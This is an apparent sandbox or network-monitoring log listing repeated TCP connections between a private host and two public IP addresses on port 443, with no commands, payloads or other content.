Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49173 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.21.74.191:443

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49166
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49167
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49168
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.22:49169
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49170 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49170
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 104.21.74.191:443 -> 192.168.2.22:49171
Source: global traffic	TCP traffic: 192.168.2.22:49171 -> 104.21.74.191:443
